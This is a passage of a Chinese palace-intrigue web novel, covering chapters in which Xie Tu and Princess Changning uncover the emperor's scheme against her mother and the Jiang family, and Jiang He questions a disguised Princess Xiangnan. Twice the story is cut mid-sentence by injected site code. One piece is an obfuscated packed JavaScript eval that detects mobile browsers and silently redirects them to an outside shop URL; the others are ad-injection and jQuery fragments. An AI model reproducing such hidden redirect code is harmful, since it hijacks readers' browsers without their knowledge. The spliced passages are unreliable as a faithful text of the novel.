若是自己当真是在定远将军府中失踪,姜家所有人包括长宁郡主全都脱不了干系,父亲第一个就会找姜家的麻烦。 依着姜、谢两家在皇帝心中如今的分量,想必他很愿意看到两家互咬互斗,他倒是可以端坐在高位上坐收渔翁之利。 真可谓是一石二鸟的好法子! “顾姐姐,我有些事情需要去找长宁郡主商议,就不陪着姐姐去戏台子听戏了。若是有人问起,你就说我乏了,早早回家去了。” 谢荼决定先下手为强,把事情直接向长宁郡主挑明,彻底把姜、谢两家捆绑在一起,一致对外。 顾茹娘不懂得其中的利害关系,只当她要去向长宁郡主请安问好,便一脸揶揄地撞了撞她的肩膀,诡笑道: “知道知道,先给未来婆婆留个好印象很重要,你去吧,我一定帮你打发那些探听消息的苍蝇。” 谢荼无法向她解释太多,只能任由她思维发散,畅想起她的未来。 谢荼趁着无人注意自己,走近张女官,向她说明自己要面见长宁郡主的想法。 张女官却笑道:“谢姑娘不必如此多礼,咱们郡主娘娘一早就吩咐了下来,姑娘有任何需求,都能满足。” “姑娘快随我来,郡主娘娘就在荣恩院里呢!” 谢荼避过众人,带着吟心、典心二人,跟随着张女官一路行至荣恩院。 荣恩院是一处僻静的庭院,院外花园中,罕见花草,倒是灌木和树木都比旁处多出不少。 “郡主娘娘不爱侍弄花花草草,所以就种些好养活的树木养着,增加院子的观赏性。所以这回郡主的生辰宴,二公子才接过重任布置了琉璃阁那儿的花草。” 张女官看出谢荼的疑惑,一路对着诸多灌木及树木介绍了起来。 “娘娘果然奇思妙想,树木入眼翠绿,的确解乏。再者花草常常凋零枯萎,可此处的树木却都是四季常青的种类,也预示着府里勃勃生机。” 谢荼觉得自己重活了一回,大约是能体会长宁郡主的心情。 丈夫和长子都驻守边关,每日都是把脑袋拴在裤腰带上,徒留她一个人在京城中日日惶恐,入眼都是常青树,的确是给自己一个心理安慰。 “郡主娘娘也是这般同二公子解释的。”张女官笑了起来,“不过二公子总说娘娘杞人忧天,不乐意来荣恩院呢!” 谢荼莞尔一笑。 那家伙当然是不屑,他心地善良,又是个心宽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725353|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即便家族蒙难,也没见他变了心性,活成阴郁的地狱之人,自然是不想让自己的母亲终身活在惶恐里的。 大约也正是因为这个,他的母亲、父亲以及兄长,才拼尽全力想要保住这个小太阳吧! 谢荼只觉得感慨万分。 张女官让谢荼在正屋门外稍候,自己先行进去通报。 没过一会儿,她就走了出来,对着谢荼温和道:“郡主娘娘说刚还念着姑娘在府中玩得是否尽兴,姑娘就来荣恩院了,着实巧,还请姑娘快快随我进去呢!” “多谢张姑姑。”谢荼也温和地谢过。 打帘子的小丫头挑起屋子门口仍然挂着的厚重门帘,谢荼便跨了进去。 她只觉得眼前一暗,便闻到屋子里浓重的檀香味。 长宁郡主已经换了常服,坐在暖榻上温柔地笑道:“可见是安排的戏折子没有你喜欢的,竟然跑到我这老妈子的屋子里来瞧热闹。” “可惜了,如你所见,我这儿啊,乏味得很,都是些经书卷册。” 她一边说着,一边指使身边伺候的小丫头扇扇子更卖力些:“刚刚才做了功课,屋子里烟雾缭绕的,只怕你不习惯。” “去,开两扇窗户透透气。” 给她捶腿的小丫头应声而去,扇扇子的小丫头也把手里的团扇舞得呼呼作响。 “娘娘过谦了,娘娘既不喜欢打叶子牌,也不喜欢看戏,自然是要有点自己喜欢的事情做,以打发时间。各人喜好不同又不是必须一模一样。” 谢荼看长宁郡主的打扮,只怕是已经歇着了,不会再去宴会厅走过场送客。 倒是奇怪得很,作为此次生辰宴的主角,长宁郡主只在饭前露了个面,完全不想交际应酬的模样,那还举办这生辰宴干什么? 待茶水和糕点端上桌后,长宁郡主便挥手让屋子里所有人退下,包括领着谢荼进来的张女官,竟是一个人都不留。 正当她好奇着,长宁郡主却主动开口了: “你是不是觉着奇怪,为何我大张旗鼓邀请众人为我庆生,我却不露面,独自躲在荣恩院中念经礼佛?” 谢荼略带歉意地笑道:“原是我不该多问的,没想到竟然被郡主娘娘先看出来了。” “这有什么打紧的。”长宁郡主拍了拍身边暖榻边,招呼谢荼坐在她的身边,“这生辰宴原本就是为了你而办的。” “为我?”这回谢荼当真是惊讶了,这又关她什么事了? “是,为你。为了见你。”长宁郡主正色道,“去你家府上多有不便,在旁人家举办的宴席上,也会有隔墙有耳的风险,试问哪有在自己家的院子里说话来得保险呢?” “郡主想见我是为何事?”谢荼想起之前的小插曲,心中腹诽,只怕定远将军府里并非如长宁郡主以为的那样安全。 “自然是想探一探你的口风。”长宁郡主神色严肃,“你在皇宫里的遭遇,我已经有所耳闻,我就是想问问你,或者问问你们谢家,究竟是作何打算的!” 112. 谈心 听见长宁郡主的问话,谢荼先是一惊,以为是姜鹤擅自同他母亲说了那些事情,而后她转念又想,以长宁郡主的手段,恐怕在皇宫中也有她的眼线。 果然下一刻,长宁郡主像是怕她误会,开口解释道: “鹤儿是个实诚孩子,没有你的允许,他是万万不会随意将你的秘事告诉我的。” 长宁郡主似乎身体确实欠佳,说了几句话就开始喘粗气: “你也知道,在宫墙内院里生活如履薄冰,若我没有一些非人手段,断然活不到成年出宫嫁人。” “当年夺嫡亦甚为凶险,若我没有自保能力,哪里敢随意站队,明着支持陛下呢?” 长宁郡主停顿了片刻,又继续说道:“当年陛下为了笼络军心,将我这个有封号封地的郡主嫁进姜家。” “素来鸟尽弓藏、兔死狗烹,我早就预见了将来有一天会被陛下清算。” “所以宫里的那些旧人,我都没有清理,也没有再联系,直到上一回。” 长宁郡主长吁一口气,用帕子捂住嘴巴,艰难地咳嗽了几声,声音沙哑继续说: “上一回鹄儿领军途中突然被一直密诏叫回,回京途中还遭遇了几场刺杀。” “起先我们都没有联想到宫里的那位,直到你对鹤儿发出警告,我们才立即警觉了起来。” “那些个杀手都是死士,身上衣物也都没有特别的标志,不过既然我们有了怀疑,顺着那方向去查,总算是发现了蛛丝马迹。” “自那时起,宫中尚在的那些老人,我就又重新启用了。” 长宁郡主说话艰难,谢荼阻拦了好几次都没能让她停下休息,只得倒了杯热茶递给她,并且顺着她的后背替她顺着气。 “郡主娘娘,您瞧着病情似乎更重了些?姜鹤为你寻来的名医开的药不顶用吗?” 长宁郡主就着她的手喝了几口热茶,这才慢慢止住了咳。 她缓缓吐出胸口的浊气,努力压下胸口因咳嗽而产生的剧痛,温声道: “既然陛下对我姜家起了心思,并且对我下了手,那我这‘病’就不能好,你明白吗?” 谢荼的心里顿时不是个滋味。 她这是在用自己的命,为姜家博一个前程,企图用她的命拖一拖时间。 可是,依照上一世的最终结果,无论长宁郡主的命还在不在,皇帝都铁了心要把姜家一网打尽。 “郡主,完备有一句话不知当讲不当讲。”谢荼斟酌片刻,最终决定和长宁郡主坦诚相待。 “姜鹤早就叮嘱过我,说你不同于其他人,是有大智慧的女子,你有什么话大可以直接说。” 谢荼凑近了长宁郡主,柔声道: “晚辈并不觉得郡主此刻的牺牲,能换来那位的心软。” “要知道,若是那位不顾过去的情分,也不顾姜家多年以来的劳苦功高,已经下定决心要清算姜家,那么此时此刻,无论郡主如何让步,也绝对不会再改变他的主意。” “所以,晚辈认为,郡主大可不必为此伤自己的身体。” 长宁郡主叹息着,踌躇片刻后,把手中紧捏着的帕子展示给谢荼看:“这些话,鹤儿都跟我说过,并非我执意如此,只是我发现得太晚,已经药石无罔!” 谢荼看着帕子中沾着的一团血迹,大吃一惊:“娘娘,您咳血了!” 长宁郡主惨然一笑:“鹤儿是个好孩子,替我寻来了医圣的传人,他以为我用了药之后会一日日见好,可我自己知道,我早已是油尽灯枯的废人了!” “好孩子,你们说得都对,鸟兽死,走狗烹,陛下就是要将落在外人手中的兵权一一收回,现在是我们姜家,后面便是郑家。” “总有一日,他要将所有人赶尽杀绝!” “原先,我只当他是多疑,想着是为了敲打我们姜家,直到你在宫里的事情发生,这才让我的观念得到了改变!” “我……其实是见过你的母亲的。” 长宁郡主说到此处,突然顿住,抬眸定定地看着谢荼。 谢荼再次吃惊,长宁郡主怎么连自己的母亲都见过,难不成正是在宫里? 可是长宁郡主出宫嫁人的时候,母亲还未踏足京城,父亲也只是刚刚认识母亲而已。 在那之后,郡主就不再进宫了,几次宫宴长宁郡主都没有参加,她是在何时何地见过母亲的呢? 谢荼不言一语,静静地等着长宁郡主的解答。 “你大约是不知道,在你父亲遇到你母亲之前,其实陛下就曾经见过你母亲。” “怎会!”这下谢荼更加吃惊了。 “先帝在世的时候,陛下仍然是皇子,他并非所有皇子中最优秀的,也因此并非是最得宠的。” “那年先帝“南巡”,带了心爱的皇子宠妃一路南下,不过,那皇子当时视陛下为小跟班,自然是请求先帝,把当时年幼的陛下一并带上了。” “我有幸,作为皇室中唯一一个女孩子,也在南行的名单中。” “不过,陛下在跟着先帝南巡的那段日子里,过得并不如我,甚至可以说,先帝早已完全忘却了他带了这么个儿子,所以陛下那时处境困苦,十分委屈。” “大约是心里难受,陛下曾在先帝带着其他人外出游玩时,自己一个人偷偷溜了出去。也就是这么巧,同样遇到了偷偷溜出去玩耍的杜家小姐,也就是你的母亲。” 谢荼双手紧紧攥着自己的裙摆,一脸不可置信:“我母亲?” 在她的印象当中,杜一南是个标准的江南女子,温婉可人,从不越据。 从长宁郡主的口中,意外得知自己的母亲,竟然还有瞒着家中人偷偷溜出门玩耍的一面,她当真是一百个吃惊都无法描述她此刻的心情。 “是,陛下遇到了你的母亲,年幼的他们成了好朋友,连着几日都约着一起玩。” “你母亲当真是一枚明媚的小太阳,也当真是温暖了陛下的心,总之,陛下对你母亲上了心。” “可惜好景不长,杜家发现了你母亲偷溜出去玩耍的事情,而先帝 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“就这样,你父亲在陛下的扶持下,一步步地成长,逐步登入高位,获得一人之下万人之上的权力。” 谢荼已经听得入迷,她竟然不知道,自己母亲的过去,竟然还有这样一段传奇的事情。 “那然后呢?陛下可还惦记着我母亲?” 谢荼问完这话,便想起了那年元宵宴后,自己在回谢府的马车上昏昏欲睡,而母亲一下又一下地摸着自己的脑袋,双眼里满是自己看不懂的神情。 母亲当时,似乎在和父亲说:以后这种宫宴,自己就不再参加了吧。 谢荼已经记不清父亲如何说的了,总之,在那之后,母亲的确是再也没有参加过皇宫举办的任何宴会。 “你认为,以陛下执拗的性子,如何不惦记着幼时那心心念念的人儿?”长宁郡主嗤笑出声。 “但是他没有明着硬抢,他时刻蛰伏着,直到他文有谢愉恩,武有姜、郑两家作为依靠,逐渐稳坐江山之后,才又开始琢磨起如何能将你的母亲抢回身边。” “后来的事情,我也是根据你那日在宫里发生的事情作出猜想。” “他终究是利用假死秘药,将你的母亲从谢家抢了回来。” 谢荼认同长宁郡主的观点。 那年元宵宴上,因为自己的意外失踪,让母亲和皇帝陛下有了单独相处的机会。 皇帝用尚且年幼的自己作为威胁,母亲郁郁寡欢,回府之后没多久就病了。 可能一部分是心病,还有一部分,便是皇帝使用的手段。 他用毒药让母亲濒临死亡,用自己和哥哥的性命威胁母亲,再交给母亲一份假死的药,从棺木中被天衣无缝地运进了后宫! 皇帝的心思细腻,计谋缜密,愣是瞒过了爱妻心切的谢愉恩。 谢荼只觉得可悲可叹。 原来谢家一切悲剧的根源,仅仅是因为母亲年幼时对陛下发出的善意。 若母亲知道,她会不会后悔当年结识了陛下? 113. 郡主 听到当年的真相,谢荼的内心除了震惊,更多的是无奈。 无奈于谢家几十口人遭遇的灭顶之灾,竟然是皇帝的一己私欲。 她突然想清楚了所有事情的关窍。 多年以前的元宵夜宴,皇帝借机与母亲说上话,让母亲有了危机感; 多年后的春日宴那日,皇帝看见了长大成人的自己,又对自己起了心思。 她稍作思量,对着长宁郡主坦诚道:“既然郡主您已经知道我母亲的事情,那么想必您这些年应该也听说过宫里的一些消息。” “不瞒您说,晚辈已经委托姜鹤派人去处理我母亲身后事的庄子上去调查了,我和我的父亲都认为,我母亲‘逝世’事情,没有表面上看起来那般简单。” 谢荼的神色冰冷,眼眸中闪着奇异的色彩。 “我母亲虽然是‘病逝’,但是当年她的病症与郡主您的病症几乎一样。” “老实说,若不是姜鹤之前同我描述过您的病症,我都不会怀疑她的病情真伪。” “我在家与父亲复盘了当年的所有事情,发现宫里的那位有极大可能在我母亲病情发展的那段时间中,动了手脚。” 谢荼说到此处,深深地吸了一口,对着长宁郡主说出自己与父亲谢愉恩的猜想: “我与父亲都认为,我母亲可能并没有病死,而是被宫里那人以一种中毒假死的方式迷惑了我们谢家所有人,而她本人,则被人秘密运进了后宫。” 长宁郡主听闻此等惊世骇俗的言论,惊得双手猛地一撑,病弱的身子差点儿摔倒在暖榻的矮桌上。 “此话当真?你可有证据?” “这便是细查此事的难点,当年是我母亲亲口吩咐,在她死后葬在京郊的庄子里,并且让我们谢府的人不必时时祭拜。” “我父亲爱妻如命,自是没有不依的,也正是因为此,此时想起来处处都透着蹊跷。” 谢荼再一次陈述了多年前元宵夜宴那晚发生的事情,她的语气悲痛: “是我当时年幼无知,在深宫之中乱跑,才让我母亲又一次遇到了那位,也正是那一次的偶遇,才使得我母亲再一次被他惦记上。” 长宁郡主却不认同她的观念,安慰道: “彼时大梁朝局势已定,江山稳固,他那时候已经完全能够腾出手来折腾你们谢家。” “元宵夜宴你走丢那件事,我看不一定是你的问题,指不定是有人故意引着你出门,当时你年幼,记忆不全也是有可能的。” “如果当真如你所说,你的母亲被他弄进了宫,那你在宫里遇到陈太妃之事,的确很有可能是有人故意要提醒你。” “可能是皇后,也有可能是你母亲本人所为。” “我母亲?”谢荼倒是从没将陈太妃的事情怀疑到母亲身上,“可她是被囚禁的,她怎么可能……” 长宁郡主微微一笑:“你大约是不知道,一个母亲能为自己的子女做到何种地步。” “她这是在向你们谢家示警呢!” “也许她如此做法,会让她在接下来的一段时间内遭受非人虐待,可是毕竟你是她怀胎十月生下的女儿,你的父亲是她的爱人,你的哥哥如今也已经长大成人。” “她不会看着你们就这样被那人清理的。” 长宁郡主说话的语速越来越慢,脸色也变得难看起来: “糟了,想必她一定是得到什么消息,荼儿,恐怕你们谢家已经被盯上了。” 谢荼正色道:“这便是晚辈此行的最重要的目的。” “郡主娘娘,您要不要考虑考虑,让姜、谢两家联手对抗。” 长宁郡主拉着谢荼的手,郑重道:“荼儿,不妨再考虑考虑联合各大世家。” —————— 长宁郡主的生辰宴就这般毫无波澜地结束了。 全京城的人都知道了,长宁郡主替自家小儿子相看儿媳,结果没一个世家贵女愿意嫁过去,就连素来和姜家相熟的几家人,在宴会没结束前就急急忙忙带着自家姑娘回了府。 大家本以为长宁郡主的算盘要落空,不承想,过了没几日,竟然有传言,说是长宁郡主看上了湘南郡主,想让湘南郡主给小儿子做媳妇儿呢。 听闻这个传言,崔阳王夫妇急得不行,紧急把成天在外浪荡的湘南郡主叫回家。 “怎么可能?那姜鹤喜欢的明明是……” 听到父母告知的消息,湘南郡主震惊之余,差点儿没把自己知道的秘密给说出来。 “喜欢谁?”崔阳王妃话听到一半,女儿却紧急刹住,说什么也不肯再透露了,急得她拍了好几下湘南郡主的肩膀,“你还不快说,你是想急死母亲吗?” “那姜鹤是个什么样的浪荡子?长宁郡主颇得皇帝的疼爱,若她当真去皇帝面前替姜鹤请求赐婚,你当皇帝还会给你父亲这个几分颜面?” “她姜家可是驻守边关的大功臣,即便你父亲和陛下乃同胞亲兄弟,可利益当头,你父亲也是要退让三分的!” 湘南郡主歪躺在暖榻上,吃着矮桌上的可口水果,摆着手直道不可能: “不会的,这肯定是长宁姑姑的障眼法。” 崔阳王夫妇俩面面相觑,自家这郡主姑娘素来是个有主意的,她这般笃定说不可能,难不成她有什么小道消息? “是宝珠公主同你说过什么?还是你自己在外面听见了什么?”崔阳王妃坐在女儿身边,焦急道。 “都不是。”见父母步步紧逼,湘南郡主知道自己今日在府里是待不下去了,一个翻身就从暖榻上跳下来。 直溜到门口,她才回头叮嘱:“总之你们不要轻举妄动,这件事我去打听打听。” 崔阳王自幼是个洒脱性子,只爱闲云野鹤的生活,对朝政之事一窍不通。 但他有一个好,他听话。 小时候听皇帝的话,长大了听媳妇儿的话,年老了听女儿的话。 崔阳王妃趿拉着鞋子去追女儿,被崔阳王一把拉住:“别急别急,既然女儿有把握,那便是咱们听到的消息并非为真。” “咱们不如老老实实待在府里,继续做我们该做的事情,不必理会那些无关之事。” 崔阳王妃一阵跺脚,见了丈夫那副“事不关己高高挂起”的模样,气不打一处来,只嚷嚷着头疼,躺回暖榻上去了。 崔阳王自然是一阵好哄。 而湘南 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 郡主回房后,并未洗漱歇息,反而从内室里掏出一包东西,对着铜镜一阵捣鼓之后,那铜镜里的人,便从刚刚雍容华贵的郡主,变成了一个相貌清秀的小姑娘。 “拿我当挡箭牌,也不看看姑奶奶我是谁!” 湘南郡主一边在嘴巴里念叨着,一边又掏出几支笔和白色毛发,一笔笔地往脸上添加着皱纹及白色胡须眉发。 “他看穿了我的伪装,却不知道我有双重伪装。” 她十分自得于自己的易容术,行走江湖几年来,从未有人认出她的真实身份。 待她全副武装变好模样后,便打开房门,提气一跃,从围墙翻墙而出,直奔定远将军府。 凌烟阁内,姜鹤正看着外面递回来的消息。 现在朝中针对姜家的局势远比他们想得更要严峻,边关那边的局面也更为棘手。 他此刻必须找出一条出路,保全姜家的同时,也要避免谢家落入那位的局中。 如果宫里的那位当真是准备拿姜、谢两家开刀,那么他这些日子夜夜在梦中梦到的那些场景,都会成为现实。 谢荼,大约也会如梦中那般,成为一抔黄土。 那是他最不想看见的。 隔壁飞霜院薛素回府的动静响起,他把手中的条子放在烛火上燃尽,叫了声“季明”。 在屋外守着的季明应声推门而入。 “公子有何吩咐?”季明仍然是那副板着脸的模样,面无表情。 “把薛素叫来。”姜鹤抬眸看向季明,“我有事要问她。” 季明站着没动,皱眉道:“怎么不让陈全去叫?他就在隔壁。” 姜鹤面色未变,只道:“你难道不想知道她消失的这些天去哪了吗?” 季明默了默,抱拳领命。 只一息的时间,房门再次被敲响,季明拎着薛素的后领走进来。 “你放开我!你想干什么!”薛素被提溜着后背,半踮着脚,狼狈不堪,双手在空中胡乱挥舞着,却总也打不到背后人的身上。 他气急败坏地挥拳嚷嚷着:“我刚刚替你们公子寻了药材回来,你就这样对我,小心我告诉你们公子,让他再罚你十军棍!不,二十、三十军棍!” 季明半个字都没有回,一把把他摔在地上。 薛素气得不行,刚要爬起来和季明拼命,就看见姜鹤坐在桌案后,好整以暇地看着他。 “你……你怎么在这儿?”薛素嚣张的气焰顿时灭了大半。 “听说你替我寻回了稀罕药材?”姜鹤撑着下巴,“我怎么不知道我有让你出去寻药材?” 薛素缩了缩脑袋:“你母亲中的毒还未根除,我,我,我……我是出去寻解药了。” 姜鹤的手指在自己玉白的脸颊上点了点:“你此前列下的药材,我都已经命人备齐,你便不要再用我母亲的毒做掩护了。” “你不如好好交代,你为何不辞而别消失不见大半月,又不声不响回我的飞霜院。” “这般辛苦,着实与你的身份不相匹配啊。” “湘南郡主!” 薛素倒吸一口凉气,刚要说出口的谎话彻底呛了回去。 “你怎么知道!” 114. 忽悠 湘南郡主呛咳了好一阵,直到季明好心替她端来一杯茶水,这才堪堪止住。 “姜公子在说什么,我怎么听不懂!”她眼珠子滴溜溜直转悠,立刻开始否认。 姜鹤倒是不管她的狡辩,歪着脑袋低垂下双眸: “你不承认也没关系,大不了我就去同崔阳王说,感谢他的女儿夜以继日地为我母亲治好了顽疾。” “到时候崔阳王会不会惶恐不安入宫请安,我可就不清楚了。” 湘南郡主大为震惊:“你还真的拿我当挡箭牌啊?你不是对谢家姑娘忠心不二吗?把我扯进去干什么!” 姜鹤挑眉,却没有回答她的话。 “好吧好吧,我承认我就是湘南郡主,可那又怎么样?我救治你母亲长宁郡主,只是出于我身为医者的道德,我毕竟是邹神医的关门弟子,你们四处派人寻我师父,我出面替我师父摆平小事是一件正常的事情。” “这是我身为医者的个人行为,和崔阳王府无关!” “我知道眼下京城之中暗流涌动,可是我父王母后一直过着闲云野鹤的生活,他们根本不懂朝局,也不想被卷入你们纷争。” 湘南郡主越说越激动,直接站在姜鹤的面前拍起了桌子。 “郡主别激动,今日喊你来,也只是同你商讨一种病症。” 湘南郡主的怒意刚刚升腾起,就立刻当头被浇灭。 “啊?不是来找我对峙的?” 她一愣,凶狠的表情没收住,倒是惹得姜鹤笑出了声。 “我找你对峙什么?你做什么事情,和我有何干?” “只是忠告你一句,别和宝珠公主走得那般近,小心让崔阳王府被卷入皇权斗争。” 湘南郡主表情严肃:“我自然是知道的。” 宝珠公主虽得盛宠,可毕竟是女子,他日新皇登基,难说会对她和玉贵妃母女二人做出什么事情来。 所以,宝珠公主在私下中,一直周旋于几位皇子之间。 她以为这是秘事,可皇帝耳目众多,恐怕早已有所察觉。 “你找我究竟有什么事?” 姜鹤这才收敛神色,严肃道:“有没有一种药,能让人没有呼吸脉搏,却能在三日之后恢复如常。” 湘南郡主刚想回答,姜鹤又开口补充道:“而且那人还是中了与我母亲同样类型的毒。” “这……”湘南郡主犹豫了,“按理说,若是与长宁郡主一般种了同样的毒,身体便会一日日地垮塌,油尽灯枯,血气干涸而亡。” “再加上龟息散一般的药物,那人将必死无疑啊!” 姜鹤拧眉,脸色变得极为难看:“此话当真?” “是啊,一个油尽灯枯病重之人,万万不可能熬得住那三日的龟息。”湘南郡主也同样神色凝重,“除非……” “除非什么?”姜鹤追问。 “除非姜公子那位故人的身子,并非你们以为的那般脆弱。” “或许是她自己动了手脚,伙同身边人一起,让众人以为他病重即将离世。” 湘南郡主说出了自己的猜想。 姜鹤猛然想起谢荼当日所述,她怀疑自己母亲在多年前元宵夜宴上就已经被宫里的那位见过。 若从头至尾,就是杜氏心甘情愿地配合呢? 那么他们查证的目标,就不该是当年谁在害她,而是她伙同了身边人把自己弄出谢府,以解决了皇帝对谢家的威胁之后,是否给谢家人留下分毫线索证据? “龟息散谁能有?或者谁能配这一服药?”姜鹤决定从龟息散的来源探查。 当年谢府遣散出去的仆人要查,京郊庄子里守灵人要查,杜氏留下的同谋也要查。 他只能祈祷当年那人在得到杜氏之后,没有对此事有关的人赶尽杀绝。 “龟息散的配方并不难,难得是其中一味药材罕见,我只知道几个药商有过,姜公子若是需要,我可以写下来给你。” 姜鹤手指抬了抬,指了指季明道:“那就劳烦湘南郡主将药商名单交予季明。” “我这算不算被卷入你们的纠纷里?”湘南郡主犹豫了,“若他日清算,我又能如何逃脱?” 姜鹤意味深长道:“依照在下愚见,郡主的确要快些寻个靠山。” “毕竟你出入定远将军府的事情,同样并非秘事。有心之人想要探查,也一定能知道你这些年的踪迹。” “不管你是医者仁心,还是被逼无奈,你都不得不面对一件事。” “你出身皇室,是崔阳王府的郡主,你的一言一行都代表着崔阳王府,你们始终为一个整体,无法分开。” “就像我们姜家,常人只道姜鹤纨绔,是姜家百年来的唯一败笔,可是,即便是这样的我,将来也是会被……” 姜鹤突然顿住,看了一眼季明:“罢了,等季明找到药商消息后,你就别再与定远侯府往来了,宫里……你也不需要再为了照顾谢荼,而去轻易得罪宝珠公主,不值当!” 湘南郡主原本以为姜鹤要动用一番精力劝自己站队,没想到他话锋一转,却是在劝她远离纷争。 “这怎么行?你难道不知道那日谢荼在宫里腹背受敌的状态吗?” “那王怜岂是好相与的?被她盯上了不被扒一层皮都算是幸运的!况且那日,如果不是我劝着宝珠公主,她又怎会不趁机踩她一脚!” “你就这样眼睁睁地看着谢姑娘受苦?这根本就不是当日在隆山寺爱重谢姑娘之人能做出来的事情!” 湘南郡主是个直性子,她本就感动于姜鹤和谢荼的患难真情。 这下突然听闻姜鹤要她不再插手,以为他要放弃谢荼,气愤填膺: “堂堂男儿怎能因为一点儿困苦就轻易说放弃!姜公子你如果是这样的人,我就看不起你!” 姜鹤十分无奈:“你莫非不知道,如今陛下江山稳固,有意要清算世家收回兵权,首当其冲就是我们姜家。如果此时我再和谢荼有所来往,那就是害了她。” 湘南郡主想也不想就道:“你放心,这件事包在我身上。将来若是姜家蒙难,我定看在你的面子上,照拂她一二,绝对不会让她被波及。” 她并没有意识到,姜鹤的几句话早就把她绕了进去。 从始至终,除了开头是她自愿跟着季明回的定远侯府,之后的问诊治疗,几乎都是在姜鹤无形的压迫下完成,她和姜鹤可算不上是相处融洽,又何来的面子不面子。 “既然郡主放话了,我与谢荼之事可就要仰仗郡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主成全了!” 姜鹤站起身来,双手抱拳做感谢状。 等湘南郡主跟着季明去写药商名单时,她才忽忽悠悠意识到有什么不对。 “哎不是!我什么时候就上了他姜鹤的贼船了?” “我的本意是要撇清和定远侯府的关系,怎么反而越绑越紧,就连谢荼那丫头的事情也都被我揽了过来?” 一旁如木头人般杵着的季明忍不住露了露笑容。 “你笑什么?”湘南郡主亮出拳头,凶狠着露出一对小虎牙。 “你真的是郡主?”季明问。 “那当然!货真价实,童叟无欺!怎么了?”湘南郡主扬了扬秀眉。 “没什么,药商名单给我,我去查。”季明向她伸出手掌。 “哦。”湘南郡主走向桌案,提笔写下几行字。 湘南郡主走后,姜鹤捧着一本书发呆,却一个字都没有看进去。 昨夜他又做梦了,这回梦到的事情更加清晰。 谢家满门获罪,谢愉恩和谢英被带至别处审问,只有谢荼一人关押在那暗无天日的地牢,与蚁虫啮鼠为伴。 谢荼终日惶恐不安,谢家昔日好友与亲人无一人对他们伸出援手。 她那一双好看的杏眼,双眸从明亮逐渐变得毫无光彩,再到如一池死水,毫无波澜。 谢愉恩和谢英遭受非人拷问折磨,被扔进地牢时全都不成人样,双双在地牢角落中咽了气。 徒留谢荼在地牢中与尸身相伴。 没过几日,一杯毒酒被赐下,谢荼终究是死在了地牢中,而自己却姗姗来迟。 姜鹤放下手中的书卷,疲惫地揉了揉自己的双眼。 自己为何会来得那般晚? 狱卒那声刺耳的“庶民姜鹤”,究竟是什么意思? 难道,姜家在谢家之前,就已经被清算? 自己被贬为庶人,那父亲、母亲和兄长三人呢?他们还活着吗? 姜鹤下意识地握紧了自己的拳头,他得快一点儿,再快一点儿。 他不知道皇帝何时对姜家发难,也不知道皇帝会以何种罪名发落谢家,他现在能做的,就是尽快查清这些年,皇帝授意姜家所做的事情中,有哪些是埋着陷阱的。 他得率先提防,有所准备,才能在皇帝发难之时绝地反击、一击必中! “公子,有消息了!”多日不见的陈全叩门进入姜鹤的屋子。 “属下已经探查到,当年杜氏发病前后,身边伺候的大小婢女全部死于非命。” 看来那人警惕性很高,早早料理了那些人。 “不过。”陈全犹豫着说,“有一件事很奇怪。” “什么事?”姜鹤问。 “当年杜氏生病时,谢愉恩曾因下人们照顾她不周,怒火中烧发卖了一些人。” “其中有一位杜氏房中粗使的丫头几经辗转,最终被卖回到了江南杜家。” “犯错的粗使丫头,几经周折还能回到杜家,这件事属下觉得很奇怪,于是去追查,发现这个丫头没过多久就病死了。” “不过,她在被变卖的过程中,曾经因为生活拮据典当了一些首饰簪子。” 姜鹤坐直了身子,追问:“首饰簪子在哪?” 115. 长簪 陈全上前两步,从怀里掏出一包用锦帕包着的东西。 他手指轻捏着锦帕一层层展开,里面赫然放着的是一只粉碧玺簪子,还有一副米珠耳环。 “属下搜集了当年那丫头曾经出没过的当铺,只寻回了这三样东西,估摸着也是因为样式老旧又是活当,这才没有被卖出去。” “剩下的东西因为时隔久远,早已不见踪影,属下也不便探查账簿,生怕打草惊蛇。” 姜鹤盯着那只碧玺簪子和一对米珠耳环,陷入沉思。 杜氏虽然心善,可她会把自己的首饰随意赏赐给院子里的粗使婢女吗? 他抬手捏起一只耳环,指尖触摸之后,就变了神色: “去给谢家姑娘递个消息,就说查到了关于她母亲的重要线索。” “另外。”姜鹤略一停顿,安排道,“和谢相知会一声,京郊庄子的那处墓地,恐怕不得寻个机会打开一探究竟了!” 他心中深知利弊,此时此刻,谢家父女只差一个明确的证据,就能彻底证明自己的猜想。 那坟墓里埋的究竟是不是杜氏,只有亲眼看见,才能信服。 谢荼接到消息的时候,天已经黑透,谢府院子里已经开始掌灯。 她心里着急,忙不迭就派人套了车要出门。 “荼儿,这么晚了,你要去哪里?” 谢英刚刚下衙,恰好在门房处遇到了披着斗篷匆匆要出门的谢荼。 母亲杜一南的事情谢英还被蒙在鼓里,全然不知情,谢荼黑夜出门,确实不知如何开口解释。 正当谢荼愣在原地时,二门外小厮急匆匆进门来禀告。 “姑娘,湘南郡主的马车正在门外候着,郡主说已经等候姑娘多时,再不出去,她便要走了。” 谢荼愣住,谢英却很快反应过来: “原来是约了湘南郡主出门玩,你这孩子,这有什么不能说的!” “我……” “难怪乔装打扮成男子模样,你哥哥我又不是什么老古板,不至于不让你和闺中密友出门约着玩耍,快去吧!莫让郡主等急了!” 谢荼被谢英催促着出了门,直接上了等候在门口多时的湘南郡主的马车。 “郡主,您这是……”谢荼一头雾水。 “姜鹤那小子说你哥哥正往家里去,可能要同你撞上,命我赶紧过来接你。” 湘南郡主一身华丽宫装,像是在宴席上被人紧急召回一般。 “我正在王家吃着无聊的酒席,王怜下月要成亲,她提前设宴招待闺中密友,却给我递了帖子,我正觉得无聊,赶紧溜了出来。说起来,还要感谢你们二人。” 